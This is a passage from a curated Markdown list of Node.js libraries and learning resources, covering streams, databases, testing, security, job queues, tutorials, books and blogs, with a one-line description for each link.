- [async](https://github.com/caolan/async) - Provides straight-forward, powerful functions for working with asynchronicity.
- Channels
- [js-csp](https://github.com/ubolonton/js-csp) - Communicating sequential processes for JavaScript (like Clojurescript core.async, or Go).
### Streams
- [through2](https://github.com/rvagg/through2) - Tiny wrapper around streams2 Transform to avoid explicit subclassing noise.
- [from2](https://github.com/hughsk/from2) - Convenience wrapper for ReadableStream, inspired by `through2`.
- [get-stream](https://github.com/sindresorhus/get-stream) - Get a stream as a string or buffer.
- [into-stream](https://github.com/sindresorhus/into-stream) - Convert a buffer/string/array/object into a stream.
- [duplexify](https://github.com/mafintosh/duplexify) - Turn a writeable and readable stream into a single streams2 duplex stream.
- [pumpify](https://github.com/mafintosh/pumpify) - Combine an array of streams into a single duplex stream.
- [peek-stream](https://github.com/mafintosh/peek-stream) - Transform stream that lets you peek the first line before deciding how to parse it.
- [binary-split](https://github.com/maxogden/binary-split) - Newline (or any delimiter) splitter stream.
- [byline](https://github.com/jahewson/node-byline) - Super-simple line-by-line Stream reader.
- [first-chunk-stream](https://github.com/sindresorhus/first-chunk-stream) - Transform the first chunk in a stream.
- [pad-stream](https://github.com/sindresorhus/pad-stream) - Pad each line in a stream.
- [multistream](https://github.com/feross/multistream) - Combine multiple streams into a single stream.
- [stream-combiner2](https://github.com/substack/stream-combiner2) - Turn a pipeline into a single stream.
- [readable-stream](https://github.com/nodejs/readable-stream) - Mirror of Streams2 and Streams3 implementations in core.
- [through2-concurrent](https://github.com/almost/through2-concurrent) - Transform object streams concurrently.
### Real-time
- [µWebSockets](https://github.com/uWebSockets/uWebSockets) - Highly scalable WebSocket server & client library.
- [Socket.io](https://github.com/socketio/socket.io) - Enables real-time bidirectional event-based communication.
- [Faye](https://github.com/faye/faye) - Real-time client-server message bus, based on Bayeux protocol.
- [SocketCluster](https://github.com/SocketCluster/socketcluster) - Scalable HTTP + WebSocket engine which can run on multiple CPU cores.
- [Primus](https://github.com/primus/primus) - An abstraction layer for real-time frameworks to prevent module lock-in.
- [deepstream.io](https://github.com/deepstreamIO/deepstream.io-client-js) - Scalable real-time microservice framework.
- [Kalm](https://github.com/kalm/kalm.js) - Low-level socket router and middleware framework.
- [MQTT.js](https://github.com/mqttjs/MQTT.js) - Client for MQTT - Pub-sub based messaging protocol for use on top of TCP/IP.
- [rpc-websockets](https://github.com/elpheria/rpc-websockets) - JSON-RPC 2.0 implementation over WebSockets.
- [Aedes](https://github.com/mcollina/aedes) - Barebone MQTT server that can run on any stream server.
### Image
- [sharp](https://github.com/lovell/sharp) - The fastest module for resizing JPEG, PNG, WebP and TIFF images.
- [image-type](https://github.com/sindresorhus/image-type) - Detect the image type of a Buffer/Uint8Array.
- [gm](https://github.com/aheckmann/gm) - GraphicsMagick and ImageMagick wrapper.
- [lwip](https://github.com/EyalAr/lwip) - Lightweight image processor which does not require ImageMagick.
- [pica](https://github.com/nodeca/pica) - High quality & fast resize (lanczos3) in pure JS. Alternative to canvas drawImage(), when no pixelation allowed.
- [jimp](https://github.com/oliver-moran/jimp) - Image processing in pure JavaScript.
- [probe-image-size](https://github.com/nodeca/probe-image-size) - Get the size of most image formats without a full download.
- [qrcode](https://github.com/soldair/node-qrcode) - QR code and bar code generator.
### Text
- [iconv-lite](https://github.com/ashtuchkin/iconv-lite) - Convert character encodings.
- [string-length](https://github.com/sindresorhus/string-length) - Get the real length of a string - by correctly counting astral symbols and ignoring ansi escape codes.
- [camelcase](https://github.com/sindresorhus/camelcase) - Convert a dash/dot/underscore/space separated string to camelCase: foo-bar → fooBar.
- [escape-string-regexp](https://github.com/sindresorhus/escape-string-regexp) - Escape RegExp special characters.
- [execall](https://github.com/sindresorhus/execall) - Find multiple RegExp matches in a string.
- [splice-string](https://github.com/sindresorhus/splice-string) - Remove or replace part of a string like `Array#splice`.
- [indent-string](https://github.com/sindresorhus/indent-string) - Indent each line in a string.
- [strip-indent](https://github.com/sindresorhus/strip-indent) - Strip leading whitespace from every line in a string.
- [detect-indent](https://github.com/sindresorhus/detect-indent) - Detect the indentation of code.
- [he](https://github.com/mathiasbynens/he) - HTML entity encoder/decoder.
- [i18n-node](https://github.com/mashpie/i18n-node) - Simple translation module with dynamic JSON storage.
- [babelfish](https://github.com/nodeca/babelfish) - i18n with very easy syntax for plurals.
- [matcher](https://github.com/sindresorhus/matcher) - Simple wildcard matching.
- [unhomoglyph](https://github.com/nodeca/unhomoglyph) - Normalize visually similar unicode characters.
- [i18next](https://github.com/i18next/i18next) - Internationalization framework.
- [nanoid](https://github.com/ai/nanoid) - Tiny, secure, URL-friendly, unique string ID generator.
### Number
- [random-int](https://github.com/sindresorhus/random-int) - Generate a random integer.
- [random-float](https://github.com/sindresorhus/random-float) - Generate a random float.
- [unique-random](https://github.com/sindresorhus/unique-random) - Generate random numbers that are consecutively unique.
- [round-to](https://github.com/sindresorhus/round-to) - Round a number to a specific number of decimal places: `1.234` → `1.2`.
### Math
- [ndarray](https://github.com/scijs/ndarray) - Multidimensional arrays.
- [mathjs](https://github.com/josdejong/mathjs) - An extensive math library.
- [math-clamp](https://github.com/sindresorhus/math-clamp) - Clamp a number.
- [algebra](https://github.com/fibo/algebra) - Algebraic structures.
- [multimath](https://github.com/nodeca/multimath) - Core to create fast image math in WebAssembly and JS.
### Date
- [Luxon](https://github.com/moment/luxon) - Library for working with dates and times.
- [date-fns](https://github.com/date-fns/date-fns) - Modern date utility.
- [Moment.js](http://momentjs.com) - Parse, validate, manipulate, and display dates.
- [Day.js](https://github.com/iamkun/dayjs) - Immutable date library alternative to Moment.js.
- [dateformat](https://github.com/felixge/node-dateformat) - Date formatting.
- [tz-format](https://github.com/samverschueren/tz-format) - Format a date with timezone: `2015-11-30T10:40:35+01:00`.
- [cctz](https://github.com/floatdrop/node-cctz) - Fast parsing, formatting, and timezone conversation for dates.
### URL
- [normalize-url](https://github.com/sindresorhus/normalize-url) - Normalize a URL.
- [humanize-url](https://github.com/sindresorhus/humanize-url) - Humanize a URL: http://sindresorhus.com → sindresorhus.com.
- [url-unshort](https://github.com/nodeca/url-unshort) - Expand shortened URLs.
- [speakingurl](https://github.com/pid/speakingurl) - Generate a slug from a string with transliteration.
- [linkify-it](https://github.com/markdown-it/linkify-it) - Link patterns detector with full unicode support.
- [url-pattern](https://github.com/snd/url-pattern) - Easier than regex string matching patterns for URLs and other strings.
- [embedza](https://github.com/nodeca/embedza) - Create HTML snippets/embeds from URLs using info from oEmbed, Open Graph, meta tags.
### Data validation
- [joi](https://github.com/hapijs/joi) - Object schema description language and validator for JavaScript objects.
- [is-my-json-valid](https://github.com/mafintosh/is-my-json-valid) - JSON Schema validator that uses code generation to be extremely fast.
- [property-validator](https://github.com/nettofarah/property-validator) - Easy property validation for Express.
- [schema-inspector](https://github.com/Atinux/schema-inspector) - JSON API sanitization and validation.
- [ajv](https://github.com/epoberezkin/ajv) - The fastest JSON Schema validator. Supports v5, v6 and v7 proposals.
### Parsing
- [remark](https://github.com/wooorm/remark) - Markdown processor powered by plugins.
- [markdown-it](https://github.com/markdown-it/markdown-it) - Markdown parser with 100% CommonMark support, extensions and syntax plugins.
- [parse5](https://github.com/inikulin/parse5) - Fast full-featured spec compliant HTML parser.
- [strip-json-comments](https://github.com/sindresorhus/strip-json-comments) - Strip comments from JSON.
- [strip-css-comments](https://github.com/sindresorhus/strip-css-comments) - Strip comments from CSS.
- [parse-json](https://github.com/sindresorhus/parse-json) - Parse JSON with more helpful errors.
- [URI.js](https://github.com/medialize/URI.js) - URL mutation.
- [PostCSS](https://github.com/postcss/postcss) - CSS parser / stringifier.
- [JSONStream](https://github.com/dominictarr/JSONStream) - Streaming JSON.parse and stringify.
- [neat-csv](https://github.com/sindresorhus/neat-csv) - Fast CSV parser. Callback interface for the above.
- [csv-parser](https://github.com/mafintosh/csv-parser) - Streaming CSV parser that aims to be faster than everyone else.
- [PEG.js](https://github.com/pegjs/pegjs) - Simple parser generator that produces fast parsers with excellent error reporting.
- [x-ray](https://github.com/lapwinglabs/x-ray) - Web scraping utility.
- [nearley](https://github.com/Hardmath123/nearley) - Simple, fast, powerful parsing for JavaScript.
- [binary-extract](https://github.com/juliangruber/binary-extract) - Extract a value from a buffer of JSON without parsing the whole thing.
- [Stylecow](https://github.com/stylecow/stylecow) - Parse, manipulate and convert modern CSS to make it compatible with all browsers. Extensible with plugins.
- [js-yaml](https://github.com/nodeca/js-yaml) - Very fast YAML parser.
- [xml2js](https://github.com/Leonidas-from-XIV/node-xml2js) - XML to JavaScript object converter.
- [Jison](https://github.com/zaach/jison) - Friendly JavaScript parser generator. It shares genes with Bison, Yacc and family.
- [google-libphonenumber](https://github.com/seegno/google-libphonenumber) - Parse, format, store and validate phone numbers.
- [ref](https://github.com/TooTallNate/ref) - Read/write structured binary data in Buffers.
- [xlsx-populate](https://github.com/dtjohnson/xlsx-populate) - Read/write Excel XLSX.
- [Chevrotain](https://github.com/SAP/chevrotain) - Very fast and feature rich parser building toolkit for JavaScript.
- [fast-xml-parser](https://github.com/NaturalIntelligence/fast-xml-parser) - Validate and parse XML.
### Humanize
- [pretty-bytes](https://github.com/sindresorhus/pretty-bytes) - Convert bytes to a human readable string: `1337` → `1.34 kB`.
- [pretty-ms](https://github.com/sindresorhus/pretty-ms) - Convert milliseconds to a human readable string: `1337000000` → `15d 11h 23m 20s`.
- [ms](https://github.com/rauchg/ms.js) - Tiny millisecond conversion utility.
- [pretty-error](https://github.com/AriaMinaei/pretty-error) - Errors with less clutter.
- [read-art](https://github.com/Tjatse/node-readability) - Extract readable content from any page.
### Compression
- [yazl](https://github.com/thejoshwolfe/yazl) - Zip.
- [yauzl](https://github.com/thejoshwolfe/yauzl) - Unzip.
- [Archiver](https://github.com/archiverjs/node-archiver) - Streaming interface for archive generation, supporting ZIP and TAR.
- [pako](https://github.com/nodeca/pako) - High speed zlib port to pure js (deflate, inflate, gzip).
- [tar-stream](https://github.com/mafintosh/tar-stream) - Streaming tar parser and generator. Also see [tar-fs](https://github.com/mafintosh/tar-fs).
- [decompress](https://github.com/kevva/decompress) - Decompression module with support for `tar`, `tar.gz` and `zip` files out of the box.
### Network
- [get-port](https://github.com/sindresorhus/get-port) - Get an available port.
- [ipify](https://github.com/sindresorhus/ipify) - Get your public IP address.
- [getmac](https://github.com/bevry/getmac) - Get the computer MAC address.
- [DHCP](https://github.com/infusion/node-dhcp) - DHCP client and server.
- [netcat](https://github.com/roccomuso/netcat) - Netcat port in pure JS.
### Database
- Drivers
- [PostgreSQL](https://github.com/brianc/node-postgres) - PostgreSQL client. Pure JavaScript and native libpq bindings.
- [Redis](https://github.com/luin/ioredis) - Redis client.
- [LevelUP](https://github.com/Level/levelup) - LevelDB.
- [MySQL](https://github.com/mysqljs/mysql) - MySQL client.
- [couchdb-nano](https://github.com/apache/couchdb-nano) - CouchDB client.
- [Aerospike](https://github.com/aerospike/aerospike-client-nodejs) - Aerospike client.
- [Couchbase](https://github.com/couchbase/couchnode) - Couchbase client.
- [MongoDB](https://github.com/mongodb/node-mongodb-native) - MongoDB driver.
- ODM / ORM
- [Sequelize](https://github.com/sequelize/sequelize) - Multi-dialect ORM. Supports PostgreSQL, SQLite, MySQL, and more.
- [Bookshelf](https://github.com/bookshelf/bookshelf) - ORM for PostgreSQL, MySQL and SQLite3 in the style of Backbone.js.
- [Massive](https://github.com/robconery/massive-js) - PostgreSQL data access tool.
- [Mongoose](https://github.com/Automattic/mongoose) - Elegant MongoDB object modeling.
- [Waterline](https://github.com/balderdashy/waterline) - Datastore-agnostic tool that dramatically simplifies interaction with one or more databases.
- [OpenRecord](https://github.com/PhilWaldmann/openrecord) - ORM for PostgreSQL, MySQL, SQLite3 and RESTful datastores. Similar to ActiveRecord.
- [pg-promise](https://github.com/vitaly-t/pg-promise) - PostgreSQL framework for native SQL using promises.
- [slonik](https://github.com/gajus/slonik) - PostgreSQL client with strict types, detailed logging and assertions.
- [Objection.js](https://github.com/Vincit/objection.js) - Lightweight ORM built on the SQL query builder Knex.
- [TypeORM](https://github.com/typeorm/typeorm) - ORM for PostgreSQL, MariaDB, MySQL, SQLite, and more.
- [MikroORM](https://github.com/mikro-orm/mikro-orm) - TypeScript ORM based on Data Mapper, Unit of Work and Identity Map patterns. Supports MongoDB, PostgreSQL, MySQL and SQLite.
- Query builder
- [Knex](https://github.com/tgriesser/knex) - Query builder for PostgreSQL, MySQL and SQLite3, designed to be flexible, portable, and fun to use.
- Other
- [NeDB](https://github.com/louischatriot/nedb) - Embedded persistent database written in JavaScript.
- [Lowdb](https://github.com/typicode/lowdb) - Small JavaScript database powered by Lodash.
- [Keyv](https://github.com/lukechilds/keyv) - Simple key-value storage with support for multiple backends.
- [Finale](https://github.com/tommybananas/finale) - RESTful endpoint generator for your Sequelize models.
- [database-js](https://github.com/mlaanderson/database-js) - Wrapper for multiple databases with a JDBC-like connection.
- [Mongo Seeding](https://github.com/pkosiec/mongo-seeding) - Populate MongoDB databases with JavaScript and JSON files.
- [@databases](https://github.com/ForbesLindesay/atdatabases) - Query PostgreSQL, MySQL and SQLite3 with plain SQL without risking SQL injection.
### Testing
- [AVA](https://github.com/avajs/ava) - Futuristic test runner.
- [Mocha](https://github.com/mochajs/mocha) - Feature-rich test framework making asynchronous testing simple and fun.
- [nyc](https://github.com/bcoe/nyc) - Code coverage tool built on istanbul that works with subprocesses.
- [tap](https://github.com/isaacs/node-tap) - TAP test framework.
- [tape](https://github.com/substack/tape) - TAP-producing test harness.
- [power-assert](https://github.com/power-assert-js/power-assert) - Provides descriptive assertion messages through the standard assert interface.
- [Mochify](https://github.com/mantoni/mochify.js) - TDD with Browserify, Mocha, PhantomJS and WebDriver.
- [trevor](https://github.com/vdemedes/trevor) - Run tests against multiple versions of Node.js without switching versions manually or pushing to Travis CI.
- [loadtest](https://github.com/alexfernandez/loadtest) - Run load tests for your web application, with an API for automation.
- [Sinon.JS](https://github.com/sinonjs/sinon) - Test spies, stubs and mocks.
- [navit](https://github.com/nodeca/navit) - PhantomJS / SlimerJS wrapper to simplify browser test scripting.
- [Nock](https://github.com/pgte/nock) - HTTP mocking and expectations.
- [intern](https://github.com/theintern/intern) - Code testing stack.
- [toxy](https://github.com/h2non/toxy) - Hackable HTTP proxy to simulate failure scenarios and network conditions.
- [hook-std](https://github.com/sindresorhus/hook-std) - Hook and modify stdout/stderr.
- [testen](https://github.com/egoist/testen) - Run tests for multiple versions of Node.js locally with NVM.
- [Nightwatch](https://github.com/nightwatchjs/nightwatch) - Automated UI testing framework based on Selenium WebDriver.
- [WebdriverIO](https://github.com/webdriverio/webdriverio) - Automated testing based on the WebDriver protocol.
- [Jest](https://github.com/facebook/jest) - Painless JavaScript testing.
- [TestCafe](https://github.com/DevExpress/testcafe) - Automated browser testing.
- [abstruse](https://github.com/bleenco/abstruse) - Continuous Integration server.
- [CodeceptJS](https://github.com/Codeception/CodeceptJS) - End-to-end testing.
- [Puppeteer](https://github.com/GoogleChrome/puppeteer) - Headless Chrome.
- [Playwright](https://github.com/microsoft/playwright) - Headless Chromium, WebKit, and Firefox with a single API.
- [nve](https://github.com/ehmicky/nve) - Run any command on multiple versions of Node.js locally.
### Security
- [upash](https://github.com/simonepri/upash) - Unified API for all password hashing algorithms.
- [themis](https://github.com/cossacklabs/themis) - Multilanguage framework for making typical encryption schemes easy to use: data at rest, authenticated data exchange, transport protection, authentication, and so on.
- [GuardRails](https://github.com/apps/guardrails) - GitHub app that provides security feedback in pull requests.
- [rate-limiter-flexible](https://github.com/animir/node-rate-limiter-flexible) - Brute-force and DDoS attack protection.
- [crypto-hash](https://github.com/sindresorhus/crypto-hash) - Async non-blocking hashing.
- [jose-simple](https://github.com/davesag/jose-simple) - Encryption and decryption of data using the JOSE (JSON Object Signing and Encryption) standard.
### Benchmarking
- [Benchmark.js](https://github.com/bestiejs/benchmark.js) - Benchmarking library that supports high-resolution timers and returns statistically significant results.
- [matcha](https://github.com/logicalparadox/matcha) - Simplistic approach to benchmarking.
### Minifiers
- [babili](https://github.com/babel/babili) - ES2015+ aware minifier based on the Babel toolchain.
- [UglifyJS2](https://github.com/mishoo/UglifyJS2) - JavaScript minifier.
- [clean-css](https://github.com/jakubpawlowicz/clean-css) - CSS minifier.
- [minimize](https://github.com/Swaagie/minimize) - HTML minifier.
- [imagemin](https://github.com/imagemin/imagemin) - Image minifier.
### Authentication
- [Passport](https://github.com/jaredhanson/passport) - Simple, unobtrusive authentication.
- [Grant](https://github.com/simov/grant) - OAuth middleware for Express, Koa, and Hapi.
### Authorization
- [CASL](https://github.com/stalniy/casl) - Isomorphic authorization for UI and API.
- [node-casbin](https://github.com/casbin/node-casbin) - Authorization library that supports access control models like ACL, RBAC and ABAC.
### Email
- [Nodemailer](https://github.com/andris9/Nodemailer) - The fastest way to handle email.
- [emailjs](https://github.com/eleith/emailjs) - Send text/HTML emails with attachments to any SMTP server.
- [email-templates](https://github.com/niftylettuce/email-templates) - Create, preview, and send custom email templates.
- [MJML](https://github.com/mjmlio/mjml) - Markup language designed to reduce the pain of creating responsive emails.
### Job queues
- [bull](https://github.com/OptimalBits/bull) - Persistent job and message queue.
- [agenda](https://github.com/rschmukler/agenda) - MongoDB-backed job scheduling.
- [idoit](https://github.com/nodeca/idoit) - Redis-backed job queue engine with advanced job control.
- [node-resque](https://github.com/taskrabbit/node-resque) - Redis-backed job queue.
- [rsmq](https://github.com/smrchy/rsmq) - Redis-backed message queue.
- [bee-queue](https://github.com/bee-queue/bee-queue) - High-performance Redis-backed job queue.
- [RedisSMQ](https://github.com/weyoss/redis-smq) - Simple high-performance Redis message queue with real-time monitoring.
- [sqs-consumer](https://github.com/bbc/sqs-consumer) - Build Amazon Simple Queue Service (SQS) based apps without the boilerplate.
- [better-queue](https://github.com/diamondio/better-queue) - Simple and efficient job queue when you cannot use Redis.
### Node.js management
- [n](https://github.com/tj/n) - Node.js version management.
- [nave](https://github.com/isaacs/nave) - Virtual Environments for Node.js.
- [nodeenv](https://github.com/ekalinin/nodeenv) - Node.js virtual environment compatible to Python's virtualenv.
- [nvm for Windows](https://github.com/coreybutler/nvm-windows) - Version management for Windows.
- [nodenv](https://github.com/nodenv/nodenv) - Version manager that is similar to Ruby's rbenv. It supports auto version switching.
### Natural language processing
- [retext](https://github.com/wooorm/retext) - An extensible natural language system.
- [franc](https://github.com/wooorm/franc) - Detect the language of text.
- [leven](https://github.com/sindresorhus/leven) - Measure the difference between two strings using the Levenshtein distance algorithm.
- [natural](https://github.com/NaturalNode/natural) - Natural language facility.
- [nlp.js](https://github.com/axa-group/nlp.js) - Building bots, with entity extraction, sentiment analysis, automatic language identify, and more.
### Process management
- [PM2](https://github.com/Unitech/pm2) - Advanced Process Manager.
- [nodemon](https://github.com/remy/nodemon) - Monitor for changes in your app and automatically restart the server.
- [node-mac](https://github.com/coreybutler/node-mac) - Run scripts as a native Mac daemon and log to the console app.
- [node-linux](https://github.com/coreybutler/node-linux) - Run scripts as native system service and log to syslog.
- [node-windows](https://github.com/coreybutler/node-windows) - Run scripts as a native Windows service and log to the Event viewer.
- [supervisor](https://github.com/petruisfan/node-supervisor) - Restart scripts when they crash or restart when a `*.js` file changes.
- [Phusion Passenger](https://github.com/phusion/passenger) - Friendly process manager that integrates directly into Nginx.
### Automation
- [robotjs](https://github.com/octalmage/robotjs) - Desktop Automation: control the mouse, keyboard and read the screen.
### AST
- [Acorn](https://github.com/ternjs/acorn) - Tiny, fast JavaScript parser.
- [babel-parser](https://github.com/babel/babel/tree/master/packages/babel-parser) - JavaScript parser used in Babel.
- [cherow](https://github.com/cherow/cherow) - JavaScript parser with focus on performance and stability.
### Static site generators
- [Wintersmith](https://github.com/jnordberg/wintersmith) - Flexible, minimalistic, multi-platform static site generator.
- [Assemble](https://github.com/assemble/assemble/) - Static site generator for Node.js, Grunt.js, and Yeoman.
- [DocPad](https://github.com/docpad/docpad) - Static site generator with dynamic abilities and huge plugin ecosystem.
- [Phenomic](https://github.com/phenomic/phenomic) - Modern static website generator based on the React and Webpack ecosystem.
- [docsify](https://github.com/QingWei-Li/docsify) - Markdown documentation site generator with no statically built HTML files.
- [Charge](https://github.com/brandonweiss/charge) - Opinionated, zero-config static site generator using JSX and MDX.
### Content management systems
- [KeystoneJS](https://github.com/keystonejs/keystone) - CMS and web application platform built on Express and MongoDB.
- [ApostropheCMS](https://github.com/apostrophecms/apostrophe) - Content management system with an emphasis on intuitive front end content editing and administration built on Express and MongoDB.
- [Strapi](https://github.com/strapi/strapi) - Content Management Framework (headless-CMS) to build powerful APIs.
- [Tipe](https://github.com/tipeio/tipe) - Developer-first content management system with GraphQL and REST API from a schema file.
### Forum
- [nodeBB](https://github.com/NodeBB/NodeBB) - Forum platform for the modern web.
### Blogging
- [Ghost](https://github.com/TryGhost/Ghost) - Simple, powerful publishing platform.
- [Hexo](https://github.com/hexojs/hexo) - Fast, simple and powerful blogging framework.
### Weird
- [cows](https://github.com/sindresorhus/cows) - ASCII cows.
- [superb](https://github.com/sindresorhus/superb) - Get superb like words.
- [cat-names](https://github.com/sindresorhus/cat-names) - Get popular cat names.
- [dog-names](https://github.com/sindresorhus/dog-names) - Get popular dog names.
- [superheroes](https://github.com/sindresorhus/superheroes) - Get superhero names.
- [supervillains](https://github.com/sindresorhus/supervillains) - Get supervillain names.
- [cool-ascii-faces](https://github.com/maxogden/cool-ascii-faces) - Get some cool ascii faces.
- [cat-ascii-faces](https://github.com/melaniecebula/cat-ascii-faces) - `₍˄·͈༝·͈˄₎◞ ̑̑ෆ⃛ (=ↀωↀ=)✧ (^･o･^)ﾉ”`.
- [nerds](https://github.com/SkyHacks/nerds) - Get data from nerdy topics like Harry Potter, Star Wars, and Pokémon.
### Serialization
- [snappy](https://github.com/kesla/node-snappy) - Native bindings for Google's Snappy compression library.
- [protobuf](https://github.com/dcodeIO/protobuf.js) - Implementation of Protocol Buffers.
- [compactr](https://github.com/compactr/compactr.js) - Implementation of the Compactr protocol.
### Miscellaneous
- [execa](https://github.com/sindresorhus/execa) - Better `child_process`.
- [cheerio](https://github.com/cheeriojs/cheerio) - Fast, flexible, and lean implementation of core jQuery designed specifically for the server.
- [Electron](https://github.com/atom/electron) - Build cross platform desktop apps with web technologies. *(You might like [awesome-electron](https://github.com/sindresorhus/awesome-electron))*
- [open](https://github.com/sindresorhus/open) - Opens stuff like websites, files, executables.
- [hasha](https://github.com/sindresorhus/hasha) - Hashing made simple. Get the hash of a buffer/string/stream/file.
- [dot-prop](https://github.com/sindresorhus/dot-prop) - Get a property from a nested object using a dot path.
- [onetime](https://github.com/sindresorhus/onetime) - Only run a function once.
- [mem](https://github.com/sindresorhus/mem) - Memoize functions - an optimization technique used to speed up consecutive function calls by caching the result of calls with identical input.
- [import-fresh](https://github.com/sindresorhus/import-fresh) - Import a module while bypassing the cache.
- [strip-bom](https://github.com/sindresorhus/strip-bom) - Strip UTF-8 byte order mark (BOM) from a string/buffer/stream.
- [os-locale](https://github.com/sindresorhus/os-locale) - Get the system locale.
- [ssh2](https://github.com/mscdex/ssh2) - SSH2 client and server module.
- [adit](https://github.com/markelog/adit) - SSH tunneling made simple.
- [import-lazy](https://github.com/sindresorhus/import-lazy) - Import a module lazily.
- [file-type](https://github.com/sindresorhus/file-type) - Detect the file type of a Buffer.
- [Bottleneck](https://github.com/SGrondin/bottleneck) - Rate limiter that makes throttling easy.
- [ow](https://github.com/sindresorhus/ow) - Function argument validation for humans.
- [webworker-threads](https://github.com/audreyt/node-webworker-threads) - Lightweight Web Worker API implementation with native threads.
- [clipboardy](https://github.com/sindresorhus/clipboardy) - Access the system clipboard (copy/paste).
- [node-pre-gyp](https://github.com/mapbox/node-pre-gyp) - Makes it easy to publish and install Node.js C++ addons from binaries.
- [opencv](https://github.com/peterbraden/node-opencv) - Bindings for OpenCV. The defacto computer vision library.
- [dotenv](https://github.com/motdotla/dotenv) - Load environment variables from .env file.
- [remote-git-tags](https://github.com/sindresorhus/remote-git-tags) - Get tags from a remote git repo.
- [semver](https://github.com/npm/node-semver) - Semantic version parser.
- [Faker.js](https://github.com/Marak/Faker.js) - Generate massive amounts of fake data.
- [nodegit](https://github.com/nodegit/nodegit) - Native bindings to Git.
- [json-strictify](https://github.com/pigulla/json-strictify) - Safely serialize a value to JSON without data loss or going into an infinite loop.
- [resolve-from](https://github.com/sindresorhus/resolve-from) - Resolve the path of a module like `require.resolve()` but from a given path.
- [simplecrawler](https://github.com/cgiffard/node-simplecrawler) - Event driven web crawler.
- [jsdom](https://github.com/tmpvar/jsdom) - JavaScript implementation of HTML and the DOM.
- [hypernova](https://github.com/airbnb/hypernova) - Server-side rendering your JavaScript views.
- [@sindresorhus/is](https://github.com/sindresorhus/is) - Type check values.
- [env-dot-prop](https://github.com/simonepri/env-dot-prop) - Get, set, or delete nested properties of process.env using a dot path.
- [emittery](https://github.com/sindresorhus/emittery) - Simple and modern async event emitter.
- [node-video-lib](https://github.com/gkozlenko/node-video-lib) - Pure JavaScript library for working with MP4 and FLV video files and creating MPEG-TS chunks for HLS streaming.
- [basic-ftp](https://github.com/patrickjuchli/basic-ftp) – FTP/FTPS client.
- [cashify](https://github.com/xxczaki/cashify) - Currency conversion.
- [genepi](https://github.com/Geode-solutions/genepi) - Automatically generate a native Node.js addon from C++ code.
- [husky](https://github.com/typicode/husky) - Create Git hook scripts.
- [patch-package](https://github.com/ds300/patch-package) - Make and preserve fixes to npm dependencies.
## Resources
### Tutorials
- [Node.js Best Practices](https://github.com/i0natan/nodebestpractices) - Summary and curation of the top-ranked content on Node.js best practices, available in multiple languages.
- [Nodeschool](https://github.com/nodeschool) - Learn Node.js with interactive lessons.
- [The Art of Node](https://github.com/maxogden/art-of-node/#the-art-of-node) - An introduction to Node.js.
- [stream-handbook](https://github.com/substack/stream-handbook) - How to write Node.js programs with streams.
- [module-best-practices](https://github.com/mattdesl/module-best-practices) - Some good practices when writing new npm modules.
- [The Node Way](http://thenodeway.io) - An entire philosophy of Node.js best practices and guiding principles exists for writing maintainable modules, scalable applications, and code that is actually pleasant to read.
- [You Don't Know Node.js](https://github.com/azat-co/you-dont-know-node) - Introduction to Node.js core features and asynchronous JavaScript.
- [Portable Node.js guide](https://github.com/ehmicky/portable-node-guide) - Practical guide on how to write portable/cross-platform Node.js code.
- [Build a real web app with no frameworks](https://frameworkless.js.org/course) - A set of video tutorials/livestreams to help you build and deploy a real, live web app using a handful of simple libraries and the core Node.js modules.
### Discovery
- [npms](https://npms.io) - Superb package search with deep analysis of package quality using a [myriad of metrics](https://npms.io/about).
- [npm addict](https://npmaddict.com) - Your daily injection of npm packages.
- [npmcompare.com](https://npmcompare.com) - Compare and discover npm packages.
### Articles
- [Error Handling in Node.js](https://www.joyent.com/node-js/production/design/errors)
- [Teach Yourself Node.js in 10 Steps](https://ponyfoo.com/articles/teach-yourself-nodejs-in-10-steps)
- [Mastering the filesystem in Node.js](https://medium.com/@yoshuawuyts/mastering-the-filesystem-in-node-js-4706b7cb0801)
- [Semver: A Primer](https://nodesource.com/blog/semver-a-primer/)
- [Semver: Tilde and Caret](https://nodesource.com/blog/semver-tilde-and-caret/)
- [Why Asynchronous?](https://nodesource.com/blog/why-asynchronous/)
- [Understanding the Node.js Event Loop](https://nodesource.com/blog/understanding-the-nodejs-event-loop/)
- [Understanding Object Streams](https://nodesource.com/blog/understanding-object-streams/)
- [Art of README](https://github.com/noffle/art-of-readme) - Learn the art of writing quality READMEs.
- [Using Express to Quickly Build a GraphQL Server](https://snipcart.com/blog/graphql-nodejs-express-tutorial)
### Newsletters
- [Node Weekly](http://nodeweekly.com) - Weekly e-mail round-up of Node.js news and articles.
- [Node Module Of The Week!](https://nmotw.in) - Weekly dose of hand picked node modules.
### Videos
- [Introduction to Node.js with Ryan Dahl](https://www.youtube.com/watch?v=jo_B4LTHi3I)
- [Hands on with Node.js](https://learn.bevry.me/hands-on-with-node.js/preface)
- [Nodetuts](http://nodetuts.com) - Series of talks, including TCP & HTTP API servers, async programming, and more.
- [V8 Garbage Collector](https://v8.dev/blog/trash-talk) - Trash talk about the V8 garbage collector.
- [10 Things I Regret About Node.js by Ryan Dahl](https://www.youtube.com/watch?v=M3BM9TB-8yA) - Insightful talk by the creator of Node.js about some of its limitions.
- [Mastering REST APIs in Node.js: Zero-To-Hero](https://www.manning.com/livevideo/mastering-rest-apis-in-nodejs) - Video course on how to make REST APIs using Node.js.
### Books
- [Node.js in Action](https://www.manning.com/books/node-js-in-action-second-edition)
- [Node.js in Practice](http://www.amazon.com/Node-js-Practice-Alex-R-Young/dp/1617290939)
- [Mastering Node](http://visionmedia.github.io/masteringnode/)
- [Node.js 8 the Right Way](https://pragprog.com/book/jwnode2/node-js-8-the-right-way)
- [Professional Node.js: Building JavaScript Based Scalable Software](http://www.amazon.com/Professional-Node-js-Building-Javascript-Scalable-ebook/dp/B009L7QETY/)
- [Practical Node.js: Building Real-World Scalable Web Apps](http://practicalnodebook.com)
- [Mixu's Node book](http://book.mixu.net/node/)
- [Pro Express.js](http://proexpressjs.com)
- [Secure Your Node.js Web Application](http://www.amazon.com/Secure-Your-Node-js-Web-Application/dp/1680500856)
- [Express in Action](https://www.manning.com/books/express-in-action)
- [Practical Modern JavaScript](https://www.amazon.com/Practical-Modern-JavaScript-Dive-Future/dp/149194353X)
- [Mastering Modular JavaScript](https://www.amazon.com/Mastering-Modular-JavaScript-Nicolas-Bevacqua/dp/1491955686/)
- [Get Programming with Node.js](https://www.manning.com/books/get-programming-with-node-js)
### Blogs
- [Node.js blog](https://nodejs.org/en/blog/)
- [webapplog.com](http://webapplog.com/tag/node-js/) - Blog posts on Node.js and JavaScript from the author of Practical Node.js and Pro Express.js Azat Mardan.
### Courses
